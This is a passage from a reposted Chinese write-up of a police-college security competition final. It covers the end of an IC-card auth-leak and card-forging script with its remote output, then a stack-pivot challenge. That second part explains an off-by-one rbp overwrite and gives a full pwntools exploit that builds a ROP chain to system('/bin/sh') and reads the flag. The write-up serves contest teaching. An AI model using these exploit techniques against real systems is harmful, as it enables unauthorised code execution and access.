        print(f"[!] room {room} leak failed")
        print(report[:800])
        raise SystemExit(1)

    auth_hex = m.group(1)
    print(f"[*] room {room} leaked auth = {auth_hex}")
    return bytes.fromhex(auth_hex)


def main():
    print(f"[*] target = {BASE}")

    for room in range(1, 10):
        print(f"\n========== try room {room} ==========")

        auth = leak_auth(room)

        # 用泄露出的 auth 伪造合法卡
        dump = make_dump(room, note=b"hello", auth=auth)
        report = upload(room, dump)

        print(report)

        m = re.search(r"(ZJPCTF\{[^}]+\}|flag\{[^}]+\})", report)
        if m:
            print(f"\n[+] FLAG = {m.group(1)}")
            return

    print("\n[-] flag not found in room 1~9")


if __name__ == "__main__":
    main()

Step 2: 远程验证

运行脚本:

python3 exp.py

远程输出如下:

[*] target = http://8080-b1f43f20-a51f-4920-aeda-a11ed4bd79b6.challenge.ctfplus.cn

========== try room 1 ==========
[*] room 1 leaked auth = b023995f4d74
=== IC Card Validation Report ===
Room: Room 1
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.

========== try room 2 ==========
[*] room 2 leaked auth = d9382df4579d
=== IC Card Validation Report ===
Room: Room 2
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.

========== try room 3 ==========
[*] room 3 leaked auth = ca74c9f1a86e
=== IC Card Validation Report ===
Room: Room 3
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.

========== try room 4 ==========
[*] room 4 leaked auth = f3895d86b297
=== IC Card Validation Report ===
Room: Room 4
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.

========== try room 5 ==========
[*] room 5 leaked auth = 177de392668f
=== IC Card Validation Report ===
Room: Room 5
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
FLAG: ZJPCTF{e6b8f3ec-fb60-4cd6-92c6-e9b9d93fca62}

[+] FLAG = ZJPCTF{e6b8f3ec-fb60-4cd6-92c6-e9b9d93fca62}

最终确认 flag 在 Room 5。

Flag

ZJPCTF{e6b8f3ec-fb60-4cd6-92c6-e9b9d93fca62}

pivot

Summary

题目是一个典型栈迁移题。程序会泄露第一次输入缓冲区的栈地址,并且第二次输入存在 off-by-one,可以覆盖上一层栈帧 rbp 的最低 1 字节。 利用该字节覆盖把 rbp 改到第一次输入的缓冲区内,触发 leave; ret 后完成 stack pivot,执行 ROP 调用程序内置的 nightly_audit("/bin/sh"),最终读出 flag。

Solution

Step 1: 分析漏洞点

程序启动后会打印一处栈地址:

Claim check: 0x...

该地址是 check_in 中第一次输入缓冲区的地址。 第一次输入可以写入 0x70 字节,正好可以用来布置 fake stack 和 ROP 链。

随后程序进入 tag_editor,第二次输入的栈缓冲区只有 0x20 字节,但程序读取 0x21 字节,因此可以多写 1 字节,覆盖 tag_editor 保存的 rbp 最低字节。该保存的 rbp 实际上会影响上一层 check_in 返回时使用的栈帧。

check_in 结尾执行:

leave
ret

如果把 rbp 的低字节改成第一次输入缓冲区内的某个地址,则:

rsp = fake_rbp
pop rbp
ret

最终控制流会从第一次输入中布置好的 ROP 链继续执行。

需要注意的是:只能覆盖 rbp 最低 1 字节,因此并不是每次远程连接的栈布局都适合 pivot。脚本会自动重连,直到泄露出的缓冲区地址和原 rbp 位于可利用的同一 0x100 对齐块内。

利用目标选择程序内置函数:

nightly_audit = 0x4011fa

该函数内部会调用 system(rdi),比直接跳 system@plt 更稳定。

完整 exploit 如下:

#!/usr/bin/env python3
from pwn import *
import re

context.arch = "amd64"
context.log_level = "info"

HOST = "nc1.ctfplus.cn"
PORT = 46750

POP_RDI = 0x4011f1
NIGHTLY_AUDIT = 0x4011fa   # nightly_audit(char *cmd) -> system(cmd)

BUF_SIZE = 0x70


def start():
    return remote(HOST, PORT)


def build_payload(buf_addr: int):
    old_rbp = buf_addr + 0x70
    old_block = old_rbp & ~0xff

    # fake rbp + pop rdi + arg + nightly_audit
    chain_len = 4 * 8

    for off in range(8, BUF_SIZE - chain_len + 1):
        pivot_addr = buf_addr + off

        # off-by-one 只能改 rbp 最低 1 字节,
        # 因此 pivot_addr 必须和 old_rbp 在同一个 0x100 对齐块内。
        if (pivot_addr & ~0xff) != old_block:
            continue

        # 进入 nightly_audit 时保持正常函数入口栈对齐:
        # ret 到函数后 rsp % 16 应为 8。
        if ((pivot_addr + 0x20) & 0xf) != 8:
            continue

        log.success(f"buf       = {hex(buf_addr)}")
        log.success(f"old rbp   = {hex(old_rbp)}")
        log.success(f"pivot     = {hex(pivot_addr)}")
        log.success(f"pivot off = {hex(off)}")
        log.success(f"rbp byte  = {hex(pivot_addr & 0xff)}")

        payload = bytearray(b"A" * BUF_SIZE)

        # 命令字符串放在第一次输入的 buffer 开头
        payload[0:8] = b"/bin/sh\x00"

        # check_in leave; ret 后:
        # rsp = pivot_addr
        # pop rbp -> fake rbp
        # ret -> pop rdi; ret
        # rdi = buf_addr -> "/bin/sh"
        # ret -> nightly_audit -> system("/bin/sh")
        rop = flat(
            0x0,
            POP_RDI,
            buf_addr,
            NIGHTLY_AUDIT,
            word_size=64
        )

        payload[off:off + len(rop)] = rop

        # 第二次输入:0x20 字节填充 + 1 字节覆盖 saved rbp 低字节
        tag = b"B" * 0x20 + bytes([pivot_addr & 0xff])

        return bytes(payload), tag

    return None, None


def exploit_once():
    io = start()

    io.recvuntil(b"Claim check: ")
    line = io.recvline().strip()

    m = re.search(rb"0x[0-9a-fA-F]+", line)
    if not m:
        log.warning(f"failed to parse stack leak: {line}")
        io.close()
        return False

    buf_addr = int(m.group(0), 16)

    payload, tag = build_payload(buf_addr)
    if payload is None:
        log.warning(
            f"bad stack layout, reconnect: "
            f"buf={hex(buf_addr)}, old_rbp={hex(buf_addr + 0x70)}"
        )
        io.close()
        return False

    # 第一次输入:写入 fake stack + ROP
    io.send(payload)

    # 第二次输入:off-by-one 覆盖 check_in 的 rbp 低字节
    io.recvuntil(b"night clerk:\n")
    io.send(tag)

    # shell 启动后自动读 flag,然后 exit 让连接关闭
    io.sendline(b"cat /flag; cat flag; cat ./flag; exit")

    data = io.recvall(timeout=3)
    print(data.decode(errors="ignore"))

    m = re.search(rb"ZJPCTF\{[^}]+\}", data)
    if m:
        log.success(f"FLAG = {m.group(0).decode()}")
        return True

    log.warning("no flag this round, retry")
    return False


def main():
    for i in range(1, 100):
        log.info(f"try #{i}")
        try:
            if exploit_once():
                return
        except EOFError:
            log.warning("EOF, retry")
        except Exception as e:
            log.warning(f"error: {e}, retry")

    log.failure("failed after many retries")


if __name__ == "__main__":
    main()

Step 2: 远程验证

运行脚本:

python3 exp.py

由于只覆盖 rbp 低 1 字节,部分连接的栈布局不可用,脚本会自动重试。成功的一次如下:

[*] try #10
[+] Opening connection to nc1.ctfplus.cn on port 46750: Done
[+] buf       = 0x7ffcac941ed0
[+] old rbp   = 0x7ffcac941f40
[+] pivot     = 0x7ffcac941f08
[+] pivot off = 0x38
[+] rbp byte  = 0x8
[+] Receiving all data: Done (164B)
[*] Closed connection to nc1.ctfplus.cn port 46750
Stamped. Come back before dawn.
ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}
[+] FLAG = ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}

Flag

ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}



转载声明:本文转载自原发布平台 (作者:玄网安全), 原文标题《浙江警察学院第九届信息网络安全竞赛决赛-wp》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。